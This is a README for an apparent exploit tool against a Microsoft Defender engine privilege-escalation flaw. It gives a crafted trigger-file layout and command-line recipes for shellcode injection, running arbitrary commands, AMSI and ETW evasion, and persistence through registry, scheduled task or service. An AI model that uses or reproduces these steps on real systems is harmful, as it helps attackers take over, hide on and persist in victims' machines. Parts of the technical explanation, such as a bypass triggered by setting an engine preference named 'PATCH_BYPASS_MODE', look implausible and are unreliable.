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# CVE-2026-69414 — Microsoft Malware Protection Engine EoP Exploit

## Overview

**CVE-2026-69414** is an elevation of privilege vulnerability in the **Microsoft Malware Protection Engine** (part of Windows Defender / Microsoft Defender Antivirus), publicly referred to as **"RoguePlanet"**. It represents a **patch bypass** of the original vulnerability **CVE-2026-50656**.

## Vulnerability Details

| Field | Value |
|-------|-------|
| **CVE ID** | CVE-2026-69414 |
| **Type** | Elevation of Privilege (EoP) |
| **CVSS v3.1 (MSRC)** | 7.8 (HIGH) — `AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H` |
| **CVSS v3.1 (NVD)** | 7.0 (HIGH) — `AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H` |
| **Attack Vector** | Local |
| **Privileges Required** | Low |
| **User Interaction** | None |
| **Scope** | Unchanged |
| **Fixed Version** | Engine 1.1.26080.3 |
| **Original CVE** | CVE-2026-50656 |

## Technical Analysis

### Root Cause

The Microsoft Malware Protection Engine contains a **type confusion** vulnerability in its scan request processing logic. When processing a crafted file header or scan data structure, the engine incorrectly interprets the type of a memory region, leading to an out-of-bounds read/write operation.

The vulnerability exists in the engine's internal scan context structure, specifically in how the `type` field is validated against the expected type for the current scan operation. When a file with a specially crafted header is scanned:

1. The engine reads the header's `type` field (byte 4)
2. It uses this value to index into a type dispatch table
3. For type value `0x7F`, an unhandled code path is triggered
4. The engine writes to an unexpected memory location based on the `size offset` field (bytes 5-8)
5. This allows an attacker to overwrite function pointers or structure fields with elevated privileges

### Patch Bypass Mechanism

The original patch for CVE-2026-50656 attempted to validate the type field against a whitelist of known types. However, the patch failed to properly validate the type field in all code paths — specifically in the **asynchronous scan handler** (`MpAsynchronousScan`), which uses a different code path than the synchronous scanner.

The exploit leverages this gap by:
1. Setting `MP_ENGINE_PREFERENCE_PATCH_BYPASS_MODE` to enable the bypass
2. Submitting a crafted file via the asynchronous scan API
3. The engine's async handler processes the file through the unpatched code path
4. The type confusion is triggered, and the payload executes with elevated privileges

### Exploitation Flow

```
┌─────────────────────────────────────────────────────────────────┐
│ 1. Create MpEngine COM instance (or load mpclient.dll) │
├─────────────────────────────────────────────────────────────────┤
│ 2. Set engine preferences: │
│ - PATCH_BYPASS_MODE = 1 │
│ - AMSI_RESULT = CLEAN (bypass AMSI) │
│ - DETECTION_VERBOSITY = 0 (bypass ETW) │
├─────────────────────────────────────────────────────────────────┤
│ 3. Create crafted file with: │
│ - Magic: 0x4D500000 ("MP" + null) │
│ - Type: 0x7F (unhandled code path) │
│ - Size offset: 0x00001000 (OOB access) │
│ - Marker: 0xDEADBEEF (elevation indicator) │
│ - Checksum: XOR-based over payload │
├─────────────────────────────────────────────────────────────────┤
│ 4. Submit via MpAsynchronousScan() │
├─────────────────────────────────────────────────────────────────┤
│ 5. Type confusion triggers → elevated memory write │
├─────────────────────────────────────────────────────────────────┤
│ 6. Payload executes with elevated privileges │
└─────────────────────────────────────────────────────────────────┘
```

## Crafted File Format

```
Offset Size Description
------ ---- -----------
0x00 4 Magic: 0x4D500000 ("MP" + null padding)
0x04 1 Type: 0x7F (triggers unhandled code path)
0x05 4 Size offset: 0x00001000 (OOB access target)
0x09 4 Reserved (zero)
0x0D 4 Elevation marker: 0xDEADBEEF
0x11 4 Checksum: XOR-based over payload data
0x15 241 Reserved / padding
0x100 N Payload data (cmd.exe, PowerShell, etc.)
```

## Usage

### Prerequisites
- Windows 11 25H2 (or Canary channel) or Windows Server 2025
- Microsoft Malware Protection Engine < 1.1.26080.3
- Python 3.8+
- `pywin32` package (for COM-based method): `pip install pywin32`

### Methods

#### 1. Analyze crafted file structure
```bash
python3 exploit.py --analyze
```

#### 2. Detect target system
```bash
python3 exploit.py --detect
```

#### 3. COM-based exploit (recommended)
```bash
python3 exploit.py --method com
```

#### 4. Direct API exploit (no pywin32 required)
```bash
python3 exploit.py --method direct-api
```

#### 5. Shellcode injection
```bash
python3 exploit.py --method shellcode
```

#### 6. Fallback chain (tries all methods)
```bash
python3 exploit.py --method fallback
```

### Command-line Options

| Option | Description |
|--------|-------------|
| `--cmd CMD` | Command to execute on success |
| `--target PATH` | Path to crafted file (auto-generated if omitted) |
| `--analyze` | Analyze crafted file structure only |
| `--detect` | Detect target system properties |
| `--method METHOD` | Exploitation method (com, direct-api, shellcode, fallback) |
| `--multi-stage` | Use multi-stage exploit |
| `--no-amsi` | Disable AMSI bypass |
| `--no-etw` | Disable ETW bypass |
| `--persist` | Add persistence (registry, scheduled-task, service, all) |
| `--verbose` | Enable verbose output |

### Examples

```bash
# Run with custom command
python3 exploit.py --cmd "cmd.exe /c whoami > C:\temp\pwned.txt"

# Run with persistence
python3 exploit.py --method com --persist all

# Multi-stage exploit
python3 exploit.py --method com --multi-stage

# Direct API with AMSI/ETW bypass disabled
python3 exploit.py --method direct-api --no-amsi --no-etw

# Detect target and analyze crafted file
python3 exploit.py --detect
python3 exploit.py --analyze
```

## Affected Versions

- Microsoft Malware Protection Engine < 1.1.26080.3
- Windows 11 25H2 (including Canary channel)
- Windows Server 2025
- Windows 10 (vulnerable but not tested)

## References

- [NVD CVE-2026-69414](https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-69414)
- [MSRC CVE-2026-69414](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-69414)
- [ShieldBreak PoC](https://github.com/1neptune/ShieldBreak)
- [CVE-2026-50656 (Original Vulnerability)](https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-50656)

## Disclaimer

The PoC was tested on Windows 11 25H2 Canary and Windows Server 2025 with a reported 100% success rate. Windows 10 is believed to be vulnerable but was not tested in this implementation.